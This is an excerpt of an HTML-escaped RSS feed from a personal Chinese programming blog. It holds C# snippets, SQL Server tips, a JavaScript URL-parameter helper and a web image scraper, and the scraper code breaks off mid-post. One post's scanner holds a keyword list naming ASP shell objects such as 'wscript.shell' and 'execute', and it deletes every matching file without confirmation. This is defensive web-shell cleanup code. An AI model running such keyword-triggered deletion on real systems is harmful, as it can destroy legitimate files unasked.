/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; searchfile(di.FullName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void putout() { &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Console.Clear();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Console.WriteLine("开始清除!");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Console.WriteLine(this.sError);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Console.WriteLine(this.sMsg);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void checkContent(string spath)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.sMsg = spath;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; putout();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FileStream fs = new FileStream(spath, FileMode.Open, FileAccess.Read);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; StreamReader m_streamReader = new StreamReader(fs);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string sContent = "";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string strLine = m_streamReader.ReadLine();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (strLine != null)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sContent += strLine;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strLine = m_streamReader.ReadLine();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; m_streamReader.Close();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sContent = sContent.ToLower();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string sStr = ".getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language=";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string[] sNoString = sStr.Split('|');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int i = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (i = 0; i &amp;lt; sNoString.Length; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (sContent.IndexOf(sNoString[i]) != -1)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //spath = spath.Replace("//", "/");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System.IO.File.Delete(spath);&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sError += "可疑文件：" + spath + "\n\r";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/p&gt;
&lt;p&gt;}&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=162</guid><pubDate>Sat, 11 Apr 2009 02:18:27 GMT</pubDate></item><item><title>使用ext2的form提交表单（非AJAX方式）</title><link>http://www.chendw.cn:8080/view.aspx?id=161</link><description>&lt;div id="blog_text" class="cnt"&gt;转一个EXT的文章做个记号 &lt;a href="http://beckrabbit.javaeye.com/blog/132686"&gt;http://beckrabbit.javaeye.com/blog/132686&lt;/a&gt;&lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=161</guid><pubDate>Wed, 20 Aug 2008 13:48:00 GMT</pubDate></item><item><title>SQL2005更新Sp2失败解决办法</title><link>http://www.chendw.cn:8080/view.aspx?id=160</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;更新SP2 失败 查看日志发现如下内容：&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;产品: Microsoft SQL Server 2005 -- 错误 29506。SQL Server 安装程序无法对文件 e:\Microsoft SQL Server\MSSQL.1\MSSQL\Data\ 修改用户 SYSTEM 的安全权限。若要继续，请确保运行 SQL Server 安装程序的帐户和域存在、运行 SQL Server 安装程序的帐户具有管理员特权，并且目标驱动器中含有 。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;方法1：&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;请查看微软的KB &lt;a href="http://support.microsoft.com/kb/916766"&gt;http://support.microsoft.com/kb/916766&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;方法2：&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;我按照上面的操作了还是不行，后来登陆到SQL2005管理工具，进入&amp;ldquo;安全性&amp;rdquo;-&amp;ldquo;登录名&amp;rdquo;，找到上面提示没有权限的用户，我这里提示的是&lt;/span&gt;&lt;span style="color: #ff0000;"&gt;SYSTEM&lt;/span&gt;&lt;span style="color: #ff6600;"&gt;用户，右键用户属性，选择用户映射，然后把所有数据都勾上并选择&amp;ldquo;db_owner&amp;rdquo;身份。更新SP2成功！&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=160</guid><pubDate>Sat, 28 Mar 2009 12:38:40 GMT</pubDate></item><item><title>[JS]JS获取URL参数【正则】</title><link>http://www.chendw.cn:8080/view.aspx?id=159</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;function queryString(sParam){&lt;br&gt;&amp;nbsp;&amp;nbsp;  var sBase = window.location.search&lt;br&gt;&amp;nbsp;&amp;nbsp;  var re&amp;nbsp;&amp;nbsp;&amp;nbsp;  = eval(&amp;quot;/[&amp;amp;|?]&amp;quot; + sParam + &amp;quot;=([^&amp;amp;]*)/&amp;quot;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (re.test(sBase)){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  return RegExp.$1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  else{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  return null&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&lt;br&gt; }&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;调用&lt;/p&gt;&lt;p&gt;如地址为：news.htm?id=1&lt;/p&gt;&lt;p&gt;queryString(&amp;quot;id&amp;quot;)返回1&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=159</guid><pubDate>Wed, 30 Jul 2008 13:24:00 GMT</pubDate></item><item><title>[SQL SERVER]在SQL中获得不包含时间部分的日期</title><link>http://www.chendw.cn:8080/view.aspx?id=158</link><description>&lt;div id="blog_text" class="cnt"&gt; select convert(char(10),GetDate(),120) as Date&lt;br&gt;&amp;nbsp;&amp;nbsp; * 第3个参数就是用来设置日期类型数据的显示样式的，下面介绍几种样式的参数：&lt;br&gt;&amp;nbsp;&amp;nbsp; 100&amp;nbsp;&amp;nbsp;  mm dd yyyy&lt;br&gt;&amp;nbsp;&amp;nbsp; 101&amp;nbsp;&amp;nbsp;  mm/dd/yyyy&lt;br&gt;&amp;nbsp;&amp;nbsp; 102&amp;nbsp;&amp;nbsp;  yyyy.mm.dd&lt;br&gt;&amp;nbsp;&amp;nbsp; 103&amp;nbsp;&amp;nbsp;  dd/mm/yyyy&lt;br&gt;&amp;nbsp;&amp;nbsp; 106&amp;nbsp;&amp;nbsp;  dd mm yyyy&lt;br&gt;&amp;nbsp;&amp;nbsp; 108&amp;nbsp;&amp;nbsp;  hh:mi:ss(时间)&lt;br&gt;&amp;nbsp;&amp;nbsp; 111&amp;nbsp;&amp;nbsp;  yyyy/mm/dd&lt;br&gt;&amp;nbsp;&amp;nbsp; 112&amp;nbsp;&amp;nbsp;  yyyymmdd&lt;br&gt;&amp;nbsp;&amp;nbsp; 120&amp;nbsp;&amp;nbsp;  yyyy-mm-dd&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=158</guid><pubDate>Sat, 26 Jul 2008 23:57:00 GMT</pubDate></item><item><title>[C#]采集网页图片采集程序[原创]</title><link>http://www.chendw.cn:8080/view.aspx?id=157</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/2cb95fa7c6f940b391b5b3cdef52e29a.jpg" target="_blank"&gt;&lt;/a&gt;一直以来都很喜欢在天涯上晃悠晃悠的，经常看到一大群MM靓照，狼心顿起写了个小工具，用来抓网页上MM的艳照，嘿嘿。&lt;/p&gt;
&lt;p&gt;用下载工具下载&lt;a href="http://chendw.fjzzz.com/MM采集器V1.0.txt" target="_blank"&gt;&amp;nbsp;&lt;/a&gt;&lt;a href="http://www.chendw.cn:8080/uploads/2009/04/b8d0fb3e34bb4620986eb17ac7622d6f.rar" target="_blank"&gt;WebGather.rar&lt;/a&gt;&amp;nbsp;。&lt;/p&gt;
&lt;p&gt;如需要源代码请回复留下邮箱向我索取。&lt;/p&gt;
&lt;p&gt;下图为采集新浪首页效果&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;&lt;a class="thickbox" rel="gallery-plants" class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2009/03/2cb95fa7c6f940b391b5b3cdef52e29a.jpg" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2009/03/2cb95fa7c6f940b391b5b3cdef52e29a.jpg" alt="f0e3b0fb5565e9344f4aeac6.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=157</guid><pubDate>Sun, 05 Apr 2009 04:09:12 GMT</pubDate></item><item><title>[C#]采集网页图片代码[原创]</title><link>http://www.chendw.cn:8080/view.aspx?id=156</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;采集网页上图片的主要关键是在怎么解析出页面代码里那些img标签的src属性，在网上找了下大多都是通过字符串操作找出img标签，这种方式操作起来比较麻烦，而且代码看起来比较累。这里我用的方法是通过WebBrowser来加载一个页面，然后HTMLDocument类来操作省去了字符串操作的步骤，直接调用GetElementsByTagName把所有图片地址返回到一个HtmlElementCollection对象里。&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #99cc00;"&gt;代码如下：&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;using System;&lt;br /&gt;using System.Collections.Generic;&lt;br /&gt;using System.Linq;&lt;br /&gt;using System.Text;&lt;br /&gt;using System.Text.RegularExpressions;&lt;br /&gt;using System.Net;&lt;br /&gt;using System.IO;&lt;br /&gt;using System.Windows.Forms;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;namespace WindowsFormsApplication1&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public class GatherPic&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private string savePath;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private string getUrl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private WebBrowser wb;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private int iImgCount;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //初始化参数&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public GatherPic(string sWebUrl, string sSavePath)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.getUrl = sWebUrl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.savePath = sSavePath;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //开始采集&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public bool start()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (getUrl.Trim().Equals(""))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MessageBox.Show("哪来的虾米连网址都没输！");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.wb = new WebBrowser();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.wb.Navigate(getUrl);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //委托事件&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.wb.DocumentCompleted += new System.Windows.Forms.WebBrowserDocumentCompletedEventHandler(DocumentCompleted);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return true;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //WebBrowser.DocumentCompleted委托事件&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //页面里框架iframe加载完成不掉用SearchImgList()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (e.Url != wb.Document.Url) return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SearchImgList();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="color: #ff6600;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //检查出所有图片并采集到本地&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public void SearchImgList()&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; string sImgUrl;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //取得所有图片地址&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HtmlElementCollection elemColl = this.wb.Document.GetElementsByTagName("img");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; this.iImgCount = elemColl.Count;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; foreach (HtmlElement elem in elemColl)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sImgUrl = elem.GetAttribute("src");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //调用保存远程图片函数&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SaveImageFromWeb(sImgUrl, this.savePath);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //保存远程图片函数&lt;br 